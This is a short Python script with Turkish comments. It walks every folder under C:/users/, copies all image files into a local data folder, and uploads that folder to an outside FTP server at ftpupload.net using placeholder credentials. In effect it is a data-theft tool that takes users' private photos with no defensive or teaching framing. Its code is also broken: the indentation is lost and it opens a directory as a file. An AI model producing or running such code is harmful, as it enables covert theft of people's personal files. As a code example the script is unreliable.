Python:
import os
import shutil
import ftplib
extentions = (".png",".jpg",".jpeg",".gif")
os.mkdir("./data")
temp_folder = os.path.join("./data")
for sub , dirs,files in os.walk("C:/users/"):
for file in files:
if file.endswith(extentions):
source = os.path.join(sub,file)
des = os.path.join(temp_folder,file)
shutil.copy2(source,des)
print(f"kopyalandı {sub,dirs,files}")
else:
print("bulunamadı")
# FTP sunucusu bilgileri
ftp_address = 'ftpupload.net'
ftp_port = 21
ftp_username = 'username'
ftp_password = 'password'
# FTP bağlantısını oluşturun
ftp = ftplib.FTP()
ftp.connect(ftp_address, ftp_port)
ftp.login(ftp_username, ftp_password)
# Dosya yükleme işlemi
with open("./data", 'rb') as file:
ftp.storbinary('STOR ' + "/data", file)
# Bağlantıyı kapatın
ftp.quit()